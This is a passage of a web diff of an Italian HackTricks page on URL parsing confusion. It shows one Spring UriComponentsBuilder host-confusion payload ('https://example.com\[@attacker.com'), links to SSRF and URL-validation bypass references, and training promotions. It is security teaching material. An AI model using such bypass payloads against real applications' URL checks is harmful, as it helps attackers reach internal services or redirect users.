Il carattere “parentesi quadra sinistra” `[` nel segmento userinfo può causare a UriComponentsBuilder di Spring di restituire un valore di nome host che differisce dai browser: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||||
|
|
||||||
### Altre Confusioni
|
### Altre Confusioni
|
||||||
|
|
||||||
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
|
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
|
||||||
|
@ -211,10 +221,11 @@ immagine da [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing
|
||||||
|
|
||||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
|
* [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica il Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica il Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue